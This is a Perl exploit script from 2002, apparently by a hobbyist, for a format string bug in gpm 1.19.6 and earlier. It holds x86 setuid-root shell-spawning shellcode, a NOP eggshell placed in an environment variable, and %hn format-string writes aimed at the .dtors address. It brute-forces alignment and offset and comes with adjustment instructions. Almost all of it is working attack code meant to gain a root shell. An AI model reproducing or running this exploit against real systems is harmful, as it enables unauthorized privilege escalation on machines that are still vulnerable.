#!/usr/bin/perl
#
#		>> gpm ver.<=1.19.6 exploit. wh0a.<<
#
# A silly format strings bug, that i found. As i noticed it had been
# an advisory and that bug was fixed in later releases of gpm.
# Nothing important since, 100% of gpm will not be installed suid.
# Although i 've coded it just for fun.
# 
# TESTED : gpm-Linux 1.19.2, $Date: 2000/01/17 22:23:03 $ (slackware 7.1)
#          gpm 1.19.6, Thu Oct  4 00:21:21 CEST 2001 (slackware 8.1)
#
# Just change the GOTADD, by doing : 
#   objdump -s -j .dtors /path/gpm, and add 0x04 to the value you'll get.
# Except gotadd you don't have to change anything exploit will brute force
# correct distance & align.
# 
# (c) 2002 killah @ hack . gr
#

$shellcode =			# SETREUID(0,0);     #
  "\x31\xc0\x31\xdb\x31\xc9".
  "\x31\xd2\xb0\x46\xcd\x80".	# EXECVE() /BIN/SH;  #
  "\x99".			#/* cdq              */
  "\x52".			#/* push %edx        */
  "\x68\x2f\x2f\x73\x68".	#/* push $0x68732f2f */
  "\x68\x2f\x62\x69\x6e".	#/* push $0x6e69622f */
  "\x89\xe3".			#/* mov %esp,%ebx    */
  "\x52".			#/* push %edx        */
  "\x54".			#/* push %esp        */
  "\x54".			#/* push %esp        */
  "\x59\x6a".			#/* pop %ecx         */
  "\x0b\x58".			#/* push $0x0b       */
  "\xcd\x80";			#/* int $0x80        */

$vuln	= "/usr/sbin/gpm";	# location of vulnerable program
$return	= 0xc0000000-(length($vuln)+1)-12-(length($shellcode)+1);
#$gotadd= 0x8058678;	# Slackware 7.1 gpm.
$gotadd = 0x805810c;	# Slackware 8.1 gpm.
$nop	= 0x90;		# IA-32 NOP.
$eggsize= 5000;		# eggshell size

#stat($vuln);
#die("Error: gpm no such file or directory.\n") if ! -e _;
#printf("Error: gpm is not installed setuid.\n") if ! -u _;

## Make the eggshell - and place it in $ENV.
for ($i = 0; $i < ($eggsize - length($shellcode)); $i++) 
{
        $buffer .= $nop;
}

$buffer .= $shellcode; $ENV{'USERNAME'} = $buffer;

## Make the high and low address / $return.
$high = (($return >> 16) & 0xffff) - 8;
$tmp  = $return & 0xffff;
$low  = $tmp - $high;

printf("Return: %#lx / High: %d / Low: %d\n\n",
       $return,
       $high,
       $low
      );

# brute force alignement.
for ($i = 0; $i < 4300; $i++)
{
# brute force distance.
 for ($t = 0; $t < 600; $t++)
    {
    $f = $t + 1;
    $align = 'A' x $i;
    $fs  = pack('l', ($gotadd + 2));
    $fs .= pack('l', $gotadd);
    $fs .= "%.${high}u%$t\$hn%.${low}u%$f\$hn$align";    
    $x = (system($vuln, "-D", "-m", $fs));
    }
}
#EOF
